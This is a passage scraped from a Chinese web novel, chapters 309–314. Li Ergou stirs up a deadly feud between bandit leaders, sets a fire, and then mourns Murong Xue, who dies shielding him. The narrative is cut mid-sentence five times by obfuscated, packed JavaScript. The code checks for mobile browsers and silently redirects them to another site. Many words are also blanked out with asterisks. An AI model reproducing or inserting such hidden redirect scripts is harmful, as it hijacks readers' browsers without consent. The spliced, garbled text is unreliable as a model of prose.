沈公豹和**天几乎同时掏出了枪。 第309章 李二狗添柴加火 慕容雪故意劝道:“二哥、三哥,你们这是做什么?快把枪收起来,你们这样做就不怕让兄弟们笑话吗?” 沈公豹狞笑道:“谁**敢笑话老子?老子带着这群崽子在关外打仗的时候,有些人还在街头摆摊算命忽悠人呢!” **天上山之前在街头摆摊算命,靠忽悠人生活,这是他的逆鳞。 “沈公豹,你**不要欺人太甚,老子也不是好惹的!” “**天,老子就欺负你了,你能把老子怎么地?” 两人的矛盾已被成功激起。 按照李二狗事先制定的计划,矛盾激起之后,一定要让它得到充分发酵,这样才能使人慢慢失去理智。 慕容雪上前拉住**天,低声劝道:“三哥,你看外边那些人都是跟着他从东北过来的,此刻真闹将起来,恐怕你占不到便宜,我看你还是先离开这里吧,再从长计议。” **天看到门外站着几个黄飞虎和沈公豹从东北带过来的弟兄,他们的手已悄悄按在枪柄之上。 好汉不吃眼前亏,这个浅显的道理**天又岂能不懂。 “哼,结果已无法更改,不管你承不承认,我现在已经是代理寨主!” **天说完就往外走,沈公豹在身后骂道:“老子就是不承认,看你能把老子怎么着?” 慕容雪努力憋着笑,说道:“二哥,没什么事我先回去了,被你们吵得头疼。” “慕容雪,我没想到你竟是一个两面三刀的女人,算我沈公豹以前瞎了眼!” 慕容雪一脸委屈。 “二哥,你这话从何说起啊?什么叫两面三刀?我答应过你什么?还是我对你有过什么承诺?” 沈公豹被她怼得哑口无言,一切都只是他的一厢情愿,慕容雪确实没有答应过他任何事情。 “四妹,咱们一起从东北过来,如今大哥失踪了,咱们更应该抱成一团才是,没想到你竟会选择**天,实在是太令我伤心了。” 慕容雪冷冷地说道:“黄飞虎在我屋里发酒疯的时候你在哪里?他欺凌我的时候你又在哪里?你为我说过一句话吗?” 一句话怼得沈公豹哑口无言。 慕容雪冷笑一声,径直离开了聚义堂。 回到茅草屋,慕容雪绘声绘色地把刚刚发生的事情全部告诉了李二狗,一切都在他的预料之中。 “接下来咱们怎么办?”慕容雪用崇拜的目光盯着李二狗。 李二狗微微一笑很迷人。 “咱们什么都不用做,他们会主动给咱们表演一出好戏。” “何以见得?如果沈公豹就是不承认今天的投票结果怎么办?” “你以为**天不着急吗?他比沈公豹还着急。” 慕容雪睁着一双纯净无辜的大眼睛盯着李二狗,显然还是没有明白他的意思。 “你觉得**天会束手就擒吗?秦桧还有几个好朋友,**天能没有吗?如果我分析的没错,他们两人很快都会有所行动。” “你是说他们……”慕容雪吓得捂住嘴巴。 对于男人来说,权力就像**,没有人可以抵御权力的诱惑。 沈公豹不会放弃,**天也不会放弃,他们之间已然是你死我活的关系。 不过李二狗分析,他们近期都不会轻易向对方下手,因为双方都会忌惮对方会有所防备。 但李二狗不想这样拖下去,霸虎寨的土匪每天晚上都会下山抢割小麦,如果再拖个十天半个月,小麦就被抢没了。 最重要的是他不想一直和慕容雪共处一室,时间一长,他怕日久生情。 他的女人已经够多够麻烦了,他实在不能再把慕容雪收到身下。 夜幕降临之后,李二狗向慕容雪打听了沈公豹和**天的住处。 “小雪,今晚无论发生什么事情你都不要出来,一切等到天亮再说。” 慕容雪被吓了一跳,她不明白李二狗要去做什么。 “二狗,你要去做什么?” 李二狗显得很轻松,或者说他故意在慕容雪面前表现的很轻松。 “我去给他们添点柴加把火。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081647|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >慕容雪顿时明白了李二狗的企图,她拉住李二狗的胳膊,劝道:“你伤还没好,这样做太危险了,我不同意你去。” 李二狗说道:“放心吧,我不会有事的,乖乖在屋里等我回来。” 李二狗离开茅草屋,借着夜色来到沈公豹的住处。 和事先预料的一样,沈公豹住处门前果然有四个**的土匪在来回走动巡逻。 李二狗又来到**天的住处,门前也有**的土匪在巡逻。 两人都害怕对手偷袭,全部加强了安保力量。 相比于**天,李二狗更倾向于从沈公豹下手,因为沈公豹是一个性如烈火之人,更容易被激怒。 李二狗再次来到沈公豹住处不远处,潜伏在黑暗里,静待机会的来临。 凌晨两点左右的时候是最容易犯困的时候,也是精神最容易松懈的时候,李二狗看了看手表,才刚刚晚上十点。 想到这,李二狗便安心地睡了一觉,再次醒来之时,已经是凌晨两点半。 李二狗揉了揉惺忪睡眼,发现门口巡逻的四个土匪全部精神萎靡,有两个人已经靠在墙上睡着了。 一个土匪打了一个呵欠,说道:“我去趟厕所,你看着一点。” “随便找个旮旯就解决了,上什么厕所?” “我要拉屎!能拉在这吗?让二当家发现了,腚眼还不给缝上?” “你**真是懒驴上磨屎尿多,快去快回。” 终于等到了一个千载难逢的机会。 那人走后,另一名土匪见靠在墙上那两人睡得正香,便准备去叫醒他们,李二狗已然悄悄摸到他身后。 李二狗一手捂住他的嘴巴,另一只手猛地砸向他的后脑,那人顿时晕了过去,身体软绵绵地倒在地上。 李二狗把他的身体靠在墙上扶正,伪装成睡着的样子。 他来到房门前,沈公豹鼾声如雷。 如果此时破门而入,能不能杀掉沈公豹暂且不说,惊动了其他人,自己脱身都是个问题。 还好他早有计划。 第310章 “四梁八柱” 李二狗从院子一个角落里抱来几捆麦秆堆放在房门前,掏出火柴点燃了麦秆,然后赶紧离开了院子。 天干物燥的季节,火苗在短时间内就已经蹿上屋顶。 “失火了,快救火啊!” “失火了,快救火啊!” 刚才睡着的土匪被巨大的浓烟呛醒,惊慌失措地一边喊叫一边找水救火。 沈公豹不愧是在残酷战场厮杀中活下来的老兵,他从里面一脚踹开摇摇欲坠的房门,头上裹着一床被子窜了出来。 沈公豹大怒。 “妈了个巴子!**天,你先不仁就别怪老子不义了,马上集合兄弟,老子今晚要宰了他!” 很快,原来东北军的兄弟就赶过来十几个人。 其他土匪忙着救火,沈公豹则带着这十几个人直奔**天住处。 **天已被吵醒,他披着衣服,看着沈公豹住处被大火笼罩,心想,真是天助我也! 烧死沈公豹,自己就是霸虎寨的大当家! “**天,你这个卑鄙小人!” **天看到沈公豹带人杀气腾腾地赶来,赶紧命令身边的几个心腹做好抵抗的准备。 沈公豹此时已经陷入癫狂,他本就想除掉**天,只是没想到他竟然比自己先动手,今晚他必须死! “二哥,你……” **天话未说完,沈公豹大喝一声:“给我杀了**天!” 顿时**大作,两帮人互射起来。 沈公豹一伙渐渐占据上风,已经逼近**天的住处。 李二狗躲在暗处,掏出驳壳枪,瞄准杀兴正浓的沈公豹,“砰”的一枪正中他的脑门。 “二当家的!” “二当家的!” “为二当家的报仇,给我冲进去,杀了**天!” 这群人得罪了**天,此时沈公豹已死,他们只能选择继续拼命,因为**天肯定不会放过他们! **天一伙力量本就薄弱,渐渐支撑不住,原来东北军一伙已经杀进院子里。 院子里只剩下**天一人。 **天躲在屋中,大声喊道:“外面的兄弟,现在沈公豹已死,只要你们放过我,等我当上寨主之后肯定不会亏待你们。” 一个土匪问道:“八爷,你看……” 八爷虽然不是山寨当家的,但他在山寨的资历却非常深厚,除了几个当家的,就属他威信最高。 如果这几个人都**,那霸虎寨寨主之位岂不是落到自己手中! 想到这,八爷差点笑出声来。 “兄弟们,咱们已经得罪了**天,他要当上寨主肯定不会放过咱们兄弟,一不做二不休,杀了他!一了百了。” “八爷说得对!我们都听你的!” 八爷一挥手,几个土匪便冲向屋子。 **天吓坏了,他是秀才出身,本身并没有什么武艺,枪法更是平平无奇。 房门被撞开的瞬间,**天扣响了**,一名冲在最前面的土匪倒了下去。 其他人见状,对着**天就是一阵猛射,顿时把他打成了筛子。 八爷刚要狞笑,一颗**已经钻入他的后脑,笑容凝固在他的脸上。 李二狗闪身离开了这个是非之地。 霸虎寨已经乱成了一锅粥。 嘈杂的人群中,李二狗发现了朱老四的身影。 “老四。”李二狗一把抓住他。 朱老大正提着水桶救火,看到李二狗,先是一愣。 “你怎么还在这里?” 李二狗把朱老四拉到一个角落。 “老四兄弟,发达的机会来了,就看你能不能抓住了。” 朱老四虽没读过书,但并不傻,他不会随随便便相信一个人。 “这位兄弟,有话不妨明说吧。” “你知道吗?沈公豹和**天都**。” 朱老四愣在原地,刚才他的确看到沈公豹带着自己的亲信去往**天的院子。 “你说的可是真的?” “我有骗你的必要吗?”李二狗反问道。 “那你想让我做什么?”朱老四也是一位面有猪相内心嘹亮之人。 李二狗附耳对朱老四一番交代,朱老四只思考了一秒钟便答应下来。 “事成之后,你答应我的事可不要反悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085354|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ?” “放心,一定兑现。” 朱老四扔下水桶,消失在夜色中。 经过一番折腾,天色已然亮了起来,火吞没了沈公豹的院子,好在并没有殃及其他地方。 慕容雪站在一片废墟前,神色凝重。 她的目光一直在找寻李二狗的身影,却一直没有看到。 “报告四当家的,二当家的和三当家的火拼,两人都**!” 慕容雪半晌没有说话,虽然她早有心理准备,但这个消息还是令她震惊不已。 “马上通知山寨的‘四梁八柱’到聚义堂。” 由于黄飞虎等人都是从东北地区过来的,所以他们沿用了东北地区土匪的一些传统。 霸虎寨除了四个当家的之外,还以“四梁八柱”为骨干,其他的众多弟兄则通称“崽子”。 “四梁八柱”在土匪中如同宫殿当中的大梁与立柱,分为“里四梁”和“外四梁”,是山寨中的骨干力量。 “里四梁”中分别有四个角色。 一是负责战斗的“炮头”,是一位百发百中的神**。 二是统管土匪内部生活以及粮饷的“粮台”,确保团伙成员的日常供给。 三是负责巡逻、守夜的“水香”,时时警惕外敌的来袭。 四是专门出谋划策、充当智囊的“翻垛的”,其实际作用类似于狗头军师。 在“外四梁”中,每一个角色同样不可或缺。 首先是负责绑票的“秧子房掌柜”,常常策划和实施**事件。 其次是“花舌子”,即负责与人质家属沟通、递送勒索信并进行谈判的人。 再者是“插千的”,主要职责是侦查目标的背景和行动线索。 最后是“字匠”,负责处理文书和记录,扮演着秘书和**员的角色。 在这个团伙中,“炮头”“粮台”和“秧子房掌柜”的地位通常高于其他头目,因其是大当家最为倚重的重要助手。 刚刚死去的八爷就是“秧子房掌柜”,深受黄飞虎和沈公豹的信任。 很快,霸虎寨“四梁八柱”齐聚聚义堂。 第311章 癞**想吃天鹅肉 慕容雪独自端坐在聚义堂中央,此刻她的心情是十分紧张的。 以往她只是霸虎寨的四当家,聚义堂中央的四把椅子她只能坐在西边最外侧的一个。 过去聚义堂开会时,她基本上都是一言不发。 一来是因为她不想参与山寨的事务,二来也是因为她的话在霸虎寨根本就没有什么份量。 能当上四当家,完全是因为黄飞虎垂涎于她的美色。 说白了,她只是霸虎寨的一个花瓶罢了。 霸虎寨的“四梁八柱”全部站在聚义堂大厅内,在聚义堂,他们是没有座位的。 众人望着慕容雪娇小而又瘦弱的身躯,脸上满是不屑。 黄飞虎、沈公豹和**天不是失踪就是死亡,如今山寨只剩下一个弱女子当家,他们怎能没有想法? 大家七嘴八舌、议论纷纷,丝毫不把慕容雪放在眼里。 慕容雪故意咳嗽几声,但是大家仿佛没有听见一般,喧哗的声音反而大了许多。 杨黑娃凝视着慕容雪,两人四目相对之时,慕容雪显得眼神躲闪,根本不敢与他对视。 杨黑娃是霸虎寨的“炮台”,一个四十多岁的东北汉子。 他早年跟随杨飞虎当兵打仗,东北沦陷后跟着杨飞虎来到转经山落草为寇。 杨黑娃虽然曾经也是慕容复麾下一员,但那时候他在军中地位低下,和慕容复并没有直接交往,当然谈不上什么感情。 对于慕容雪,他根本不放在眼里。 花瓶只能是花瓶,想当大当家的,门都没有! 他绝不可能屈服在一个女人手下。 “大家先静一下,我有话要说。” 慕容雪见大家根本没有停下来的意思,只能鼓足勇气,对着人群喊了一嗓子。 根本没人搭理她! 此时的慕容雪孤立无援,她真希望李二狗能陪在自己身边。 对于她来说,当不当霸虎寨的大当家,她根本不在乎。 但如果当不了霸虎寨大当家,这兵荒马乱的时节她根本没有地方可去! 一旦其他人当了霸虎寨大当家,她在山寨的身份注定无法独善其身。 此时的她就像一叶浮萍,在茫茫的大海之中无依无靠,四处飘零、孤独凄凉。 杨黑娃冷眼旁观着这一切,他就是要给慕容雪一个下马威。 看时机已经差不多,杨黑娃突然大喝一声:“都**给我闭嘴,听四当家的讲话。” 聚义堂顿时安静下来。 七双眼睛齐刷刷地看向慕容雪,慕容雪显得无比尴尬,脸竟然红了。 “四当家的,山寨出了这么大的事情,咱们以后怎么办?” “是啊,必须得拿出一个主意来啊。” “四当家的,你倒是说话啊?” “我……那个……这……” 慕容雪此前想好的话此时竟一句也说不出来。 “四当家的,你要是不知道说什么,就让杨炮头上去说。” “对,让杨炮头上去说,我就服杨炮头。” “我也是,除了杨炮头,谁说话都不好使。” 杨黑娃毫不避讳,在众目睽睽之下竟直接走了上去。 “四当家的,要不然我来说几句?” 慕容雪此时不知道从哪里来的勇气,她怒视着杨黑娃,质问道:“杨炮头,霸虎寨当家的还没有死绝吧?怎么也轮不到你来发号施令!” “吆吆,快看嗨,四当家的生气了,杨炮头你还是快下来吧,小心被四当家的一脚踢下来,哈哈。” “四当家的和咱们大哥可不是一般的关系,杨炮头你小心点,大哥要是哪天突然回来了,让你吃不了兜着走。” “即使大哥不回来,谁知道他种下的种子会不会整出一个小崽子出来,那可是咱们的小寨主啊。” 大家越说越下流,慕容雪突然掏出**,对着空中“砰”的一声,聚义堂顿时安静下来。 大家没想到平时文文静静的四当家,还是一个暴脾气。 杨黑娃并没有被慕容雪唬住,他也丝毫没有下去的意思。 “四当家的,你这是做什么?当兄弟们都是雏吗?开枪吓唬人?” “杨炮头,国有国法,寨有寨规,我现在还是四当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085355|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 家,就由不得你们犯上作乱,你给我滚下去!” 杨黑娃微微一笑,不仅没下去,反而一屁股坐到黄飞虎的椅子上。 司马昭之心,路人皆知。 杨黑娃这是想做寨主。 “杨黑娃,你好大的胆子!那是你能坐的地方吗?给我滚下去!” “他黄飞虎坐得,我为什么坐不得?从现在开始,他做过的任何事情我都可以做。” 杨黑娃**的目光上下打量着慕容雪,不得不说,她的翘臀,她的双峰还有她性感的嘴唇,真是馋**了。 杨黑娃的意思很明显,既然黄飞虎能睡慕容雪,他杨黑娃一样能睡。 “哈哈,杨炮头威武!” “什么杨炮头?是大当家的。” “对,大当家的威武!” “大当家的威武!” 大家齐声呼喊着口号,杨黑娃端坐正中,享受着这种欢呼。 “杨黑娃,你这是要**吗?” 面对慕容雪的质问,杨黑娃只是微微一笑。 “慕容妹子,”杨黑娃完全一副黄飞虎的腔调,“什么**?这**是**。你放心,只要你乖乖听话,哥绝不会亏待你,让你做二当家的,怎么样?” “乖乖听话?怎么样才算乖乖听话?” “乖乖听话当然就是……”杨黑娃从椅子上站起来,做了一个夸张的挺胯动作,“你懂得!哈哈!” 慕容雪痛骂道:“卑鄙!无耻!癞**想吃天鹅肉,你别做梦了!” 杨黑娃不仅不恼,反而显得更加兴奋。 “老子就喜欢你这种小辣椒性格,他黄飞虎睡得老子睡不得?老子比他更威武,哈哈!” “哈哈哈……” 众人一同哄笑起来。 “杨黑娃,你无耻!” 慕容雪刚想抬枪对准杨黑娃,却被杨黑娃一把握住手腕,他手上一发力,慕容雪“啊”的一声,手便松开了,枪掉落在地上。 “慕容妹子,要论玩枪,和哥比起来,你还差得远。” “你……” “来人,把四当家的带我房间,给老子看好喽。” 第312章 剿灭霸虎寨 慕容雪猝不及防地甩手给了杨黑娃一巴掌。 杨黑娃用手指抹了抹嘴角,上面竟有一丝血迹。 他伸出舌头舔去嘴角的血丝,狞笑道:“待会老子让你嗷嗷直叫,带下去。” 两个人上前架住慕容雪,慕容雪的挣扎显得是那么的无力。 她心里呐喊道:“李二狗,你到底在哪里啊?” “不好了,不好了,清风寨的人冲进来了!” 慕容雪瞪大了眼睛,眼前这个进来报告的土匪竟是李二狗。 “你说什么?” 杨黑娃简直不敢相信自己的耳朵,霸虎寨占据一线天有利地形,清风寨怎么可能轻易就攻了进来。 李二狗大声说道:“清风寨的人攻进来了!” 聚义堂顿时乱作一团,外面隐约已经传来厮杀声。 “都别慌,跟我来!” 杨黑娃刚冲到聚义堂门口,李二狗突然从背后扼住他的脖子,一把枪顶在了他的脑后。 “谁敢动!老子一枪崩了他!都把枪给我放下!” 众人面面相觑,手里的枪纷纷指向李二狗。 毕竟杨黑娃现在还不是霸虎寨寨主,他们没有必要为了杨黑娃的性命放下自己手中的武器。 “你是什么人?快放了杨炮头,否则我们立即把你打成筛子!” 李二狗躲在杨黑娃身后,看他们不放下武器,根本不和他们废话,直接一枪打在杨黑娃大腿上。 杨黑娃杀猪般嚎叫起来。 “快把枪放下,否则我就不客气了!” 杨黑娃喝骂道:“你们**是想害死老子吗?快把枪放下!不然老子宰了你们!” 其中有两个土匪架不住恐吓,直接把枪扔在地上。 “大家都不要放下武器,杨炮头并不是我们寨主,咱们大家没有必要为了他搭上自己的性命!” 杨黑娃大声骂道:“牛癞子,你**是自己想当寨主吧?老子饶不了你。” “杨黑娃,你为了自己活命难道让大家都跟着你陪葬吗?老子才没有那么傻!” “牛癞子…… “砰”的一声,牛癞子一枪打在杨黑娃的眉心,杨黑娃双眼圆睁,死不瞑目。 “杀了他!” 顿时所有的枪都射向李二狗。 李二狗用杨黑娃的尸体挡在自己身前,很快杨黑娃的尸体就被打成了血窟窿。 李二狗被密集的**压制的抬不起头来,危在旦夕。 “砰砰砰……” 慕容雪一梭**全部射向人群。 两个土匪倒在血泊中,其余的土匪纷纷寻找掩体。 李二狗趁机躲到一根柱子后面。 “小雪,你没事吧?” 慕容雪泪流满面,既兴奋又觉得委屈。 “你怎么才来啊?” 其实李二狗一直在聚义堂门外,他在等待一个机会。 “杀了他们!” 剩余的土匪对着两根柱子疯狂射击,其中一个土匪找来一挺机关枪,对着柱子“突突”起来。 柱子碎屑横飞,摇摇欲坠,眼看就要被打穿。 慕容雪哭道:“二狗,是我害了你!” “别说傻话,就这几块料,想要我的命没那么容易。” 慕容雪看到李二狗身旁的柱子马上就要被打穿,内心焦急万分。 她几次想探出身子还击,以期能给李二狗减轻压力,但都没有成功。 “小雪,千万别露头。” “可……” 千钧一发之际,外边的**越来越近,已经逼近聚义堂。 “我们的救兵来了!” 陈老三、陈嘎子、张石头和秀才带着人杀了进来。 陈老三身先士卒,抱着一挺**就是一阵突突。 陈嘎子、张石头也抱着一挺**突突起来。 很快,聚义堂的土匪全部身亡。 李二狗为了继续掩饰自己的身份,躲在柱子后面喊道:“老三,你们带人去占领山寨,负隅顽抗者,格杀勿论!还有,没有我的命令任何人不许进入聚义堂。” 陈老三不明白李二狗的意图,倒是秀才率先明白过来。 “三哥,听狗哥的,咱们走吧。” 他在嘴上做了个戴面巾的手势,陈老三这才明白过来。 “出去把门带上。” 聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089535|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 义堂的大门关上了,李二狗才从柱子后面走了出来。 刚才的激战中,李二狗的胳膊受了伤。 慕容雪跑到李二狗身边,扑到他怀里。 “哎吆……” “怎么了?”慕容雪这才发现李二狗的胳膊受了伤,“你受伤了?快坐下,我给你看看伤口。” 李二狗笑着安慰道:“放心吧,是擦伤。” 慕容雪一定要亲自检查过后才放心。 李二狗坐在椅子上,慕容雪小心翼翼地检查了一番,确实只是被**擦伤,伤口里面并没有弹头,她这才放心下来。 慕容雪掏出自己的手绢,贴心地敷在他的伤口处。 两人四目相对,慕容雪娇嗔道:“你坏**,刚才都吓死我了!对了,你们清风寨的人是怎么攻进来的?” 李二狗笑道:“昨晚我打发你们山寨一个兄弟趁乱下山,是他去清风寨报的信。” “那你们怎么能这么轻易地就攻进来?” “对别人来说,你们霸虎寨是一夫当关,万夫莫开,但对于我们清风寨来说,拿下霸虎寨实在是轻而易举,小菜一碟。” 慕容雪愈加佩服李二狗,他真是一个无所不能的男人。 其实是李二狗让朱老四提前找了几个同乡做内应,再加上霸虎寨内斗,导致东北帮元气大伤,清风寨才得以顺利攻入霸虎寨。 说到底,霸虎寨是毁在自己手里。 “我的手不方便,麻烦你帮我从口袋里把面巾掏出来。” 慕容雪从李二狗的口袋里掏出一条面巾。 正在她疑惑之时,李二狗说道:“麻烦你帮我系在脸上。” 慕容雪不明白李二狗为何要用面巾蒙在脸上,但她还是照做了。 “这是为什么?”慕容雪一脸天真地问道。 李二狗笑着刮了一下她的鼻子,笑道:“在清风寨,除了少数几个人之外,没有人见过我的真面目。” “为什么?” “傻丫头,胡家大院的管家怎么能是清风寨的大当家呢?” 慕容雪这才恍然大悟。 “你可真是狡兔三窟啊。” 第313章 香消玉殒 “这里太乱了,我们走吧,去你小屋里坐坐。” 慕容雪莞尔一笑,像极了正在盛开的粉红色蜀葵花。 两人并肩往外走,慕容雪回头的瞬间笑容凝固在脸上。 牛癞子并没有死,他趴在血泊中,手里的枪对准了李二狗。 “小心!” “砰!” 慕容雪张开双臂挡在李二狗身体前面,一颗**正中她的胸口。 “小雪!” 李二狗一枪击中牛癞子的脑袋。 他伏在地上,抱着慕容雪,心如刀绞。 “小雪!” 慕容雪艰难地抬起手臂,抚摸着李二狗的脸颊,温柔地帮他拭去眼角流下的泪水。 “二……狗,别哭,为你……而死,我不……后悔。” 慕容雪的胸口处咕咕往外涌出鲜血,李二狗脱下衣服按在她的胸口上。 “小雪,你别说话,我马上带你去看大夫。” 慕容雪轻轻地拉住他的胳膊,气若游丝地说道:“不必了!我……只想和你……安静的……待一会……” 李二狗还想坚持,慕容雪眼里充满了祈求,轻轻地摇了摇头。 “二……狗,我时间……不多了……” 两颗晶莹的泪珠从她脸颊滑过,李二狗的心碎了。 他紧紧地抱着她,生怕一松手,她就会立即在自己眼前消失。 “二……狗,我喜欢你,你喜欢……我吗?” 李二狗大颗大颗的泪珠滴落在慕容雪脸上,他用力地点了点头。 “我要你……亲口对我说……” “我喜欢你,小雪,从第一眼看到你,我就喜欢你。” 慕容雪脸上露出一丝欣慰的笑容,她再次抬手抚摸着李二狗棱角分明的脸庞。 “如果……有来世,我们……要早点遇……见……” 她的手无声地从李二狗的脸庞滑落,缓缓闭上了眼睛,脸上的笑容是那么的安详。 “小……雪!” 李二狗的嘶喊声冲破云霄! 陈老三带着人已经肃清霸虎寨负隅抵抗的土匪,清风寨已经完全占领了霸虎寨。 聚义堂门口聚起了一群人,大家议论纷纷却谁都不敢推门进去。 “三哥,里面到底出了什么事?”陈嘎子问道。 这要是以前,陈老三早就冲进去了,可现在他正处在处分期,不敢太过张扬。 “狗哥不让咱们进去,咱们就在这里等着,应该没什么事。” 李二狗的哭声如泣如诉,听的人心里发慌。 “我进去看看。” 秀才心思缜密,李二狗口里喊着小雪,又放声痛哭,很明显是慕容雪出了意外。 秀才刚走到门口,聚义堂的门开了。 李二狗抱着慕容雪的尸体从里面走了出来。 “狗哥,我们帮你。” “让开!” 李二狗抱着慕容雪的尸体向后山走去。 “谁都不许跟过来!” 路两旁的蜀葵花开得正艳,在微风的吹拂下纷纷低语,层层叠叠的花瓣轻轻颤动,像是无数只彩蝶在枝头嬉戏。 阳光穿过花隙,洒下斑驳陆离的光影,粉的娇羞、红的奔放、白的清雅,交织成一条蜿蜒的锦绣长廊。 偶有蜜蜂嗡鸣其间,蜻蜓掠过花尖,整条路都沉浸在一种喧闹又宁静的生机里。 李二狗仿佛看到一个花季女孩正蹲在花丛中,所有的花朵在她面前都黯然失色。 慕容雪虽然没有说过自己喜欢蜀葵花,但路两旁栽种了如此多的蜀葵花,说明她爱蜀葵。 如此美丽的蜀葵花海,可她却不在了。 李二狗抱着慕容雪的尸体回到茅草屋,把她轻轻地放在床上,此前发生的一幕幕场景像放电影般在他脑海中反复闪现。 如果时光能倒回,他肯定会把慕容雪锁在这间屋子里,哪怕锁住她一辈子! 李二狗在屋子里一待就是一天一夜。 “三哥,狗哥在后山待了这么久,咱们要不要上去看看?不会出什么事吧?” 陈老三内心也是十分焦急,他还从来没有见过李二狗这个样子。 “要不然咱们一起上后山看看?” “好,咱们一起去。” “秀才去哪了?” “半天没看到他了。” “这小子,鬼精鬼精的,不等他了,咱们三个去。” 三个人来到后山,一直爬到山顶,也没见到李二狗的身影。 张石头望着后山悬崖发呆。 “狗哥到底去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089536|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 哪了?” 陈嘎子耷拉着一张脸说道:“狗哥不会抱着那个女人跳崖殉情了吧?” 陈老三骂道:“放**狗屁!狗哥是那种人吗?” 陈嘎子嘟囔道:“我从未见狗哥如此伤心过。” “嘎子,你记住,回去以后千万不要在嫂子面前提起这件事,听见没有?” “我肯定不提,我又不傻!” “你还以为你自己聪明啊?大傻帽!” “你……” “好了,都别扯淡了,咱们再沿着下山的路找找吧。” “狗哥……” “狗哥……” 张石头率先发现了立有“擅入者格杀勿论!”牌子的岔路口。 “三哥,快看。” 三个人犹豫了片刻,还是走了进去。 不久之后,他们来到茅草屋前。 三个人面面相觑。 “石头,你去敲门!” 张石头有些犹豫。 “三哥,这不太好吧?狗哥要是发脾气,我可承担不起啊。” “有事咱们三个一起承担,你快去!”陈老三催促道。 “要不还是你去吧,你和狗哥的关系最好。” 陈老三气不打一处来,骂道:“你**,这点小事都他娘干不好,你还能干什么?” “你咋不让嘎子去?我才不触这个霉头!” “你**……” “都**吵什么?” 门开了,李二狗站在门口。 这才一天的工夫,李二狗已经满面胡茬,脸仿佛瘦了一圈。 “狗哥,我们都很担心你。” “老子没事,你们留下一个人,其他人赶紧回清风寨,”李二狗看了一眼,“秀才呢?” “不知道,半天没见他了。” “找到他,让他马上来见我。” 说话间,秀才从不远处跑了过来。 “秀才,你**去哪了?狗哥正找你呢。”陈老三骂道。 秀才气喘吁吁地说道:“狗哥,我下山找人打了一副上好的梨花木棺材,现在放在岔路口那里,抬进来吗?” 李二狗面无表情地说道:“抬进来吧,放在门口,秀才,下午你再带几个人过来。” 李二狗说完便转身进了屋,房门又关上了。 第314章 我会永远记得你 “秀才,看你平时闷呲呲的不说话,没想到你**还挺会拍马屁!”陈老三揶揄道。 “是啊,是啊,咱们三个人在秀才面前就是一群傻雏。”张石头也是一脸的不屑。 秀才没有反驳,只是幽幽地回了一句:“我只不过是希望狗哥的心里能好受一些罢了。” 众人自惭形秽,便低着头不再说话。 秀才指挥着人把棺材抬到茅草屋前轻轻放下,挥手示意他们先行离开。 秀才望着紧闭的房门,不由得叹了一口气。 都说自古红颜多薄命,慕容雪如花似玉的年纪却是这般命运,真是造化弄人。 “狗哥,棺材放在门口了,下午我再带人过来。” “谢谢你,兄弟。” 此时,李二狗正为慕容雪换上一身干净的衣服。 她静静地躺在床上,脸上那么安详,就像一个熟睡中的婴儿。 近在眼前,仿佛又远在天边。 李二狗再一次潸然泪下。 慕容雪为救李二狗而死,这个恩情李二狗这辈子注定是无法偿还了。 他静静地出了门,拿起铁锨,去了茅草屋斜对过的一个山坡。 那里有一块平地,既可以俯瞰山下的景色,又可以看见茅草屋,更为关键的是那里有成片成片的蜀葵花。 红的、粉的、黄的,还有洁白如雪的…… 